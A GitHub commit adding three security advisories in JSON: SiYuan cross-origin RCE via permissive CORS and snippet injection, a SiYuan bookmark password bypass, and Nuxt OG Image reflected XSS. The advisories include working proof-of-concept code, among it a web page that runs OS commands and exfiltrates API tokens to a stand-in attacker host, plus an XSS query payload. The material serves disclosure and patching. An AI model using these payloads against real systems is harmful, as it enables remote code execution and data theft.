Skip to content

Commit 4b6f449

Browse files
1 parent 14e5f8c commit 4b6f449

4 files changed

Lines changed: 238 additions & 0 deletions

File tree

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-68p4-j234-43mv",
4+
"modified": "2026-03-31T23:29:00Z",
5+
"published": "2026-03-31T23:29:00Z",
6+
"aliases": [
7+
"CVE-2026-34449"
8+
],
9+
"summary": "SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection",
10+
"details": "### Summary\n\nA malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.\n\n### Details\n\n**Vulnerable files:**\n- `kernel/server/serve.go`, lines 960-963 — CORS middleware\n- `kernel/api/snippet.go`, lines 93-128 — snippet injection endpoint\n\n**Root cause:** The CORS middleware unconditionally sets:\n```\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Private-Network: true\n```\n\nThe `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.\n\nThe auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.\n\n**Attack chain:**\n1. User visits `https://evil-attacker.com` while SiYuan desktop is running\n2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` — SiYuan responds with permissive CORS headers\n3. Browser sends actual POST to `/api/snippet/setSnippet` with the user's session cookie\n4. SiYuan accepts the request and saves a malicious JS snippet\n5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution\n\n### PoC\n\n**Malicious webpage (hosted on any domain):**\n\n```html\n<!DOCTYPE html>\n<html>\n<body>\n<h1>Innocent looking page</h1>\n<script>\n// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js\nfetch('http://127.0.0.1:6806/api/snippet/setSnippet', {\n method: 'POST',\n credentials: 'include',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({\n snippets: [{\n id: 'exploit-' + Date.now(),\n name: 'system-update',\n type: 'js',\n content: 'require(\"child_process\").exec(\"id > /tmp/siyuan-rce-proof\")',\n enabled: true\n }]\n })\n}).then(r => r.json()).then(d => {\n console.log('Snippet injected:', d);\n});\n\n// Step 2 (optional): Exfiltrate API token and all notes\nfetch('http://127.0.0.1:6806/api/system/getConf', {\n method: 'POST',\n credentials: 'include',\n headers: {'Content-Type': 'application/json'}\n}).then(r => r.json()).then(d => {\n // Send API token and config to attacker server\n fetch('https://evil-attacker.com/collect', {\n method: 'POST',\n body: JSON.stringify(d.data)\n });\n});\n</script>\n</body>\n</html>\n```\n\n**Verification steps:**\n\n1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)\n2. Login to SiYuan in a browser to establish a session cookie\n3. In the same browser, navigate to the malicious page\n4. Verify snippet was injected:\n```bash\ncurl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \\\n -H \"Content-Type: application/json\" \\\n -b <session-cookie> \\\n -d '{\"type\":\"all\",\"enabled\":2}'\n```\n\n**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated — all in a single page load.\n\n### Impact\n\n- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.\n- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.\n- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.\n- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.\n- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.6.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 3.6.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/siyuan-note/siyuan"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-942"
54+
],
55+
"severity": "CRITICAL",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-31T23:29:00Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c77m-r996-jr3q",
4+
"modified": "2026-03-31T23:30:03Z",
5+
"published": "2026-03-31T23:30:03Z",
6+
"aliases": [
7+
"CVE-2026-34453"
8+
],
9+
"summary": "SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark",
10+
"details": "### Summary\nThe publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.\n\n### Details\nThe issue is caused by an authorization bypass in the bookmark API path used by the publish service.\n\nIn `kernel/api/bookmark.go`, `getBookmark` checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes `nil` as the request context:\n```go\nif model.IsReadOnlyRoleContext(c) {\n publishAccess := model.GetPublishAccess()\n tempBookmarks := &model.Bookmarks{}\n for _, bookmark := range *bookmarks {\n bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)\n```\nIn `kernel/model/publish_access.go`, `FilterBlocksByPublishAccess` allows access when `c == nil`:\n```go\nif CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&\n (c == nil || password == \"\" || CheckPublishAuthCookie(c, passwordID, password)) {\n ret = append(ret, block)\n}\n```\nThis bypasses the intended password enforcement performed by `CheckPublishAuthCookie`, which validates the `publish-auth-<id>` cookie for protected content.\n\nThe publish proxy authenticates anonymous publish visitors with a `RoleReader` token, and `CheckAuth` accepts `RoleReader`, so unauthenticated publish visitors can reach `/api/bookmark/getBookmark` and trigger the vulnerable code path.\n\nI reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a `POST /api/bookmark/getBookmark` request. The response returned a bookmark group containing the protected block in `data[0].blocks`, confirming the bypass.\n\n### PoC\n\n1. Start SiYuan with the publish service enabled.\n2. Create a new document, for example publish-bookmark-poc.\n3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.\n4. Open the block attributes and assign a bookmark label, for example leak-test.\n5. In Doc Tree, enable Publish Access Control and set the document to Protected.\n6. Set a password for that document, for example test123, and confirm the change.\n7. Open the publish service in a fresh incognito/private browser session.\n8. Verify that opening the protected document through the publish UI requires the password.\n9. Without entering the password, open the browser developer console and run:\n```js\nfetch(\"/api/bookmark/getBookmark\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: \"{}\"\n})\n .then(r => r.json())\n .then(x => console.log(JSON.stringify(x, null, 2)));\n```\n10. Observe that the response contains a bookmark entry such as:\n```json\n{\n \"code\": 0,\n \"msg\": \"\",\n \"data\": [\n {\n \"name\": \"leak-test\",\n \"blocks\": [\n {\n \"box\": \"20260327012540-ppsxc5j\",\n \"path\": \"/20260327012543-acu1mdn.sy\",\n \"hPath\": \"/publish-bookmark-poc\",\n \"id\": \"20260327012543-1y6djn1\",\n \"rootID\": \"20260327012543-acu1mdn\",\n \"parentID\": \"20260327012543-acu1mdn\",\n \"name\": \"\",\n \"alias\": \"\",\n \"memo\": \"\",\n \"tag\": \"\",\n \"content\": \"​<span data-type=\\\"code\\\">​BOOKMARK_SECRET_123</span>​\",\n \"fcontent\": \"\",\n \"markdown\": \"`BOOKMARK_SECRET_123`\",\n \"folded\": false,\n \"type\": \"NodeParagraph\",\n \"subType\": \"\",\n \"refText\": \"\",\n \"refs\": null,\n \"defID\": \"\",\n \"defPath\": \"\",\n \"ial\": {\n \"bookmark\": \"leak-test\",\n \"id\": \"20260327012543-1y6djn1\",\n \"updated\": \"20260327013116\"\n },\n \"children\": null,\n \"depth\": 1,\n \"count\": 0,\n \"refCount\": 0,\n \"sort\": 10,\n \"created\": \"\",\n \"updated\": \"\",\n \"riffCardID\": \"\",\n \"riffCard\": null\n }\n ],\n \"type\": \"bookmark\",\n \"depth\": 0,\n \"count\": 1\n }\n ]\n}\n```\nActual result:\n`/api/bookmark/getBookmark` returns bookmarked blocks from protected documents without requiring the publish password.\n\n### Impact\nAn unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the `Protected` publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.6.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 3.6.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/siyuan-note/siyuan"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-863"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-31T23:30:03Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mg36-wvcr-m75h",
4+
"modified": "2026-03-31T23:27:03Z",
5+
"published": "2026-03-31T23:27:03Z",
6+
"aliases": [
7+
"CVE-2026-34405"
8+
],
9+
"summary": "Nuxt OG Image is vulnerable to reflected XSS via query parameter injection into HTML attributes",
10+
"details": "**Product:** Nuxt OG Image \n**Version:** 6.1.2\n**CWE-ID:** [CWE-79](https://cwe.mitre.org/data/definitions/79.html): Improper Neutralization of Input During Web Page Generation\n**Description:** Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection.\n**Impact:** Client-Side JavaScript Execution\n**Exploitation condition:** An external user\n**Mitigation:** Correct the logic of parsing GET parameters and their subsequent implementation into the generated page.\n**Researcher:** Dmitry Prokhorov (Positive Technologies)\n\n## Research \nDuring the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.\nThis research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.\n\n\n_Listing 1. The content of the configuration file `nuxt.config.ts`_ \n```\nexport default defineNuxtConfig({\n modules: ['nuxt-og-image'],\n devServer: {\n host: 'web-test.local',\n port: 3000\n },\n site: {\n url: 'http://web-test.local:3000',\n },\n ogImage: {\n fonts: [\n 'Inter:400', \n 'Inter:700'\n ],\n }\n})\n```\n\n## Vulnerability reproduction\nTo demonstrate the proof‑of‑concept, follow the URI: `/_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus`\nThe injected parameters `onmouseover=alert(document.cookie)` and `autofocus` are treated as attributes and are inserted directly into the generated HTML page.\n\n\n_Listing 2. HTTP-request example_\n```\nGET /_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1\nHost: web-test.local:3000\n```\n\n_Figure 1. The injected attribute in the HTML body_\n<img width=\"974\" height=\"670\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745\" />\n\n_Figure 2. JavaScript code execution_\n<img width=\"974\" height=\"291\" alt=\"image\" src=\"https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8\" />\n\n\n## Credits\nResearcher: Dmitry Prokhorov (Positive Technologies)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "nuxt-og-image"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "6.2.5"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-mg36-wvcr-m75h"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nuxt-modules/og-image"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-79"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-31T23:27:03Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)